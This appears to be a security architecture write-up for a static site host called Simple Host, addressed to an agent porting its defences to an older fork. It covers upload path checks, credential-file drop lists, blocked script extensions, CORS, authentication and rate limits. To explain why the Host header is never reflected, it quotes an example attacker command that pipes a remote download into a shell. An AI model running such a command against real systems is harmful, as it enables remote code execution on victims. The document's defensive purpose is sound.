This documents the complete security surface of Simple Host — the upload validation, the trust boundaries, the backend defenses — extracted directly from source. It is written for an agent hardening an older fork to match this build: exact values, the reasoning behind each guard, and a prioritized porting checklist.
One Go binary + one Postgres + one directory on disk, behind a TLS-terminating nginx fronting every *.simple-host.app subdomain. No CDN, no per-site processes, no object store, no build pipeline. ~1 CPU / ~1 GB RAM.
User uploads are data, never code. There is no interpreter, no SSR runtime, no plugin loader, no per-site process. A file is written to disk and later returned as bytes with a content type — a hostile upload has no more power than an email attachment sitting in a folder.
Every guardrail below keeps that invariant true (nothing executes server-side) or bounds abuse of the few dynamic surfaces that do exist — per-site state, collections, and AI generate.
| ID | Surface | Gate |
|---|---|---|
| T1 | Deploy & manage | Per-user API key (32 random bytes, hex). Authenticates the owner of every upload, rollback, delete. |
| T2 | Admin | Single ADMIN_API_KEY in the root-owned /etc/simple-host.env — never in code, config, or repo. No default in source. |
| T3 | Viewing | Public by default; any site can be view-locked with a password (signed cookie gates page + data). |
| T4 | State / collections | Origin-checked only. Attribution-grade, not auth-grade — a browser can't forge it cross-site, but curl can. Never store secrets. |
| T5 | Create with AI | Sign-in-gated + rate-limited per user and IP. Runs off-box; no model creds on any served page. |
| T6 | DB & secrets | Postgres creds + keys in the root-owned env file, read at boot by the non-root service user. Unreachable from any served page. |
Sites are public on the internet. The protection is not secrecy — it's that uploads are static, owned, versioned, and revertible.
Two deploy paths share one validation core, on purpose, so guards can't drift: the archive path (POST/PUT /v1/sites/{name}, a .tar.gz/.zip) runs tarball.Extract(); the JSON path (.../files) runs tarball.SanitizeFiles() — documented as using "the SAME guards as archive extraction … with no parallel logic to drift." Both then run ValidateExtensions() and storage.WriteFiles(). Request bodies are capped before parsing: uploads 100 MB, state 1 MB, collection item 64 KB.
safeRelPath() is the extraction guard; WriteFiles() re-checks independently — the traversal check lives in two places. A path is rejected unless it is non-empty and ≤1024 chars, has no byte <0x20 (control/NUL/newline), is not absolute, and after filepath.Clean is not ./.., has no ../ prefix or /../ inside, with depth ≤32. In the archive path an unsafe entry is skipped; in the JSON path it's a hard error (the caller typed it). Two keys normalizing to one path → hard error, never silent clobber.
Per-file 100 MB, total 500 MB, and 50,000 entries per archive. The entry cap defends against many-tiny-files inode exhaustion, "which the byte caps do not catch."
Limits are enforced on bytes actually read, never on any self-declared size. readCapped reads min(maxFileSize, remaining budget) + 1 byte; if that extra byte appears, the entry is over budget and the upload dies.
Only regular files are extracted. tar: only TypeReg/TypeRegA — symlinks, hardlinks, device nodes, FIFOs are refused "rather than silently coerced into empty files." zip: only Mode().IsRegular(), which "crucially" skips symlink entries. This kills symlink-escape at extraction time and is the single highest-value guard for an older fork.
Credential/VCS files are silently dropped (like .DS_Store) so a deploy that includes one still succeeds minus the secret: dirs .git .hg .svn .bzr .ssh; basenames .htpasswd .htaccess .npmrc .netrc id_rsa id_ed25519 .git-credentials .env; any .env.* except .example/.sample/.template. Junk .DS_Store and ._* dropped too.
Blocks .sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .php. Read the intent before you lean on it:
Optional X-Content-Digest (SHA-256 of raw archive) is recomputed and compared with subtle.ConstantTimeCompare. Every version records archive_sha256.
Layout <DATA_DIR>/<site>/v1…vN + a live current. Each upload is a new immutable append-only version, built into .vN.tmp then os.Renamed in. UpdateCurrent copies into .current.tmp then remove+rename, so the window where current is absent is two fast metadata ops, not the copy duration — the old version serves until the swap. WriteFiles independently re-validates every path (the second traversal check). Rollback repoints the active version; per-version delete isn't exposed; whole-site delete hard-validates the name before RemoveAll.
The site name is load-bearing: it becomes a subdomain, an on-disk directory, and a line in the cortex-share deploy queue. So it's tightly bound.
^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$ — one DNS label, 1–63 chars, enforced on create and update.simple-host jot-webhook www api admin app static assets internal localhost. Create-only "because existing sites must always remain re-deployable even if a name later lands on the reserved list."\n/\r are rejected before appending to the queue a root deploy-watcher consumes — "never rely solely on" upstream charset validation.current/; directory listings disabled; one site can't read another's files.Two dynamic stores, both public-by-design, both gated identically (Origin + view-lock + rate limit), both on the single Postgres.
/state — one document, 1 MB cap (on body and on the post-PATCH result). GET returns an ETag (If-None-Match → 304). PATCH runs atomic ops (set/inc/append/remove/removeWhere, max 100) inside a SELECT FOR UPDATE transaction, so concurrent writers serialize conflict-free. removeWhere with an empty match deletes nothing; PATCH requires an object root./collections/{name} — one INSERT per append, paginated reads, name ^[a-zA-Z0-9_-]{1,64}$, item cap 64 KB, page 50/max 200.authorizeStateOrigin() port exactlySite state is public per-site scratch storage; the only gate is the Origin/Referer check, "which a real browser cannot forge across sites but a non-browser client (curl) can … NO confidentiality or integrity guarantee — do not store secrets in it, and don't trust it for security decisions."
Mechanics: expected origin is <site>.<SITE_DOMAIN>; read Origin, else derive scheme+host from Referer, else deny. The parsed host must equal the expected origin or be in the owner's allowed_origins. On allow it echoes the specific origin (never *) plus Allow-Credentials: true (so a view-lock cookie rides along), Expose-Headers: ETag, Vary: Origin. Owners add external origins ("backend anywhere", e.g. GitHub Pages) via PUT /allowed-origins — each must be scheme://host with no path.
The global permissive * CORS middleware deliberately excludes any path ending in /state or containing /collections/, because those run this stricter credentialed policy and must not be double-handled.
32 bytes from crypto/rand → 64-char hex. Header is X-API-Key only; a missing key returns a 401 that explicitly redirects Authorization: Bearer users (a common LLM mistake). The admin key is matched with subtle.ConstantTimeCompare and yields a real admin user row (so admin can own sites — the old synthetic ID:"admin" violated the sites.user_id FK). Ownership resolves every route via the authenticated user; a non-owner gets 404 (existence not leaked).
POST /v1/auth validates the email, rate-limits per-IP and per-email, and stores a 6-digit code + link token with a 15-min TTL and attempts=0. The user row is not created here:
POST /v1/auth/verify rejects expired or attempts ≥ 3 tokens, compares the code constant-time (mismatch increments attempts → 401), then lazily creates the user (race-safe), mints the key, and marks the token single-use.
PUT /view-password (owner) stores a bcrypt hash in DB + an in-memory cache. nginx calls viewAuth as an auth_request on every page view: an unlocked site is a pure memory lookup (no DB, no bcrypt) → 200; a locked site with no/bad cookie → 401 → the custom password page (no WWW-Authenticate, so no native dialog). On a correct password, an HMAC-signed shview_<site> cookie is set — bcrypt never runs again; later checks are constant-time hmac.Equal. TTL 7 days; HttpOnly, Secure, SameSite=Lax, domain-wide so it reaches the apex state API.
State and collections both call viewSessionOK, so locking a page also locks its data — a private page's state/collections are only reachable with a valid view cookie.
Allow-Origin: *, safe because auth is a header, not a cookie: "browsers never attach it ambiently, so there is no CSRF surface — a cross-origin page can only succeed if it already holds a valid key." No Allow-Credentials on this path (so * is spec-legal).X-Content-Type-Options: nosniff only; deliberately not X-Frame-Options/HSTS/Referrer-Policy, because the fronting proxy sets those and duplicates conflict (browsers then ignore them, incl. a weaker HSTS shadowing the proxy's). Admin-UI CSP (frame-ancestors 'none') is applied separately.X-Forwarded-For (trusted nginx). 429 carries Retry-After: 60./install.sh is piped into sh. Its download base URL is the configured PublicBaseURL, never the request Host: "reflecting an attacker-controlled Host header would let a crafted request produce a curl https://evil/skills.zip | sh (remote code execution on the victim)." Never reflect Host into a script that will be executed.
| Area | Burst | Refill |
|---|---|---|
| uploads | 30 | +0.1/s (~6/min) |
| state writes | 60 | +1/s |
| auth / IP | 20 | +0.2/s (~12/min) |
| auth / email | 5 | +0.02/s (~1.2/min) |
| generate / IP | 20 | +1 / 12s |
| generate / user | 30 | +1 / 10s |
| status poll | 240 | +4/s |
/v1/generate + /v1/generate/status are sign-in-gated and rate-limited per IP and per user. Preferred backend proxies each turn to a separate off-box agent server, authenticated with a shared secret (X-Agent-Secret) both sides must match, plus the user's key to bind the job. The agent runs with built-in file/shell tools disabled — only a scoped deploy_site tool — so a prompt-injected page can't run commands or exfiltrate keys. Work is a background job (returns a job id; client polls) so nothing waits out a proxy timeout. Fallback calls the Anthropic Messages API directly (default claude-haiku-4-5-20251001). Preview runs in a sandboxed, opaque-origin iframe; publish goes through the same authenticated files API. Caps: body 32 MB, ≤60 messages, ≤6000 chars each, HTML ≤200 KB, ≤6 attachments / ≤18 MB.
| users | id UUID, username UNIQUE, api_key UNIQUE (64-char hex, compared constant-time), is_admin |
| sites | user_id FK→users ON DELETE CASCADE, name UNIQUE, active_version, expires_at (NULL = permanent), allowed_origins (comma-separated) |
| versions | site_id FK CASCADE, version_number, disk_path, status, archive_sha256, UNIQUE(site_id, version_number) |
| auth_tokens | email, code, link_token UNIQUE, expires_at, used_at, attempts — single-use, 15-min, 3-attempt |
No migrations framework — schema applied by hand. Preview accounts (PREVIEW_ACCOUNTS) get sites with expires_at = now + PREVIEW_TTL_HOURS (default 48h); a background sweep deletes expired sites (row + disk).
Ordered by risk. The top items are the real safety controls; the lower ones are hardening.
safeRelPath at extract and an independent check in WriteFiles.MaxBytesReader caps.* CORS exclude these paths..env/.git/id_rsa/… so uploads can't publish credentials.deploy_site, shared secret, background job, sandboxed preview (8).| Name | Value | Source |
|---|---|---|
| maxSiteArchiveSize | 100 MB | site.go |
| maxSiteStateSize | 1 MB | site.go |
| maxSitesPerUser | 100 | site.go |
| maxStateOps | 100 | stateops.go |
| maxCollectionItemSize | 64 KB | collections.go |
| collection page | 50 / max 200 | collections.go |
| maxFileSize | 100 MB | tarball/extract.go |
| maxTotalUncompressedSize | 500 MB | tarball/extract.go |
| maxEntryCount | 50,000 | tarball/extract.go |
| maxPathDepth / maxPathLen | 32 / 1024 | tarball/extract.go |
| blockedExtensions | .sh .bash .zsh .fish .bat .cmd .ps1 .py .pyc .rb .pl .go .php | tarball/validate.go |
| validSiteName | ^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$ | sitename.go |
| authTokenTTL / maxCodeAttempts | 15 min / 3 | user.go |
| view cookie TTL | 7 days | viewauth.go |
| API key | 32 bytes → 64 hex | auth/middleware.go |
The exhaustive version — including every verbatim security comment — is the agent-readable companion: /architecture.txt.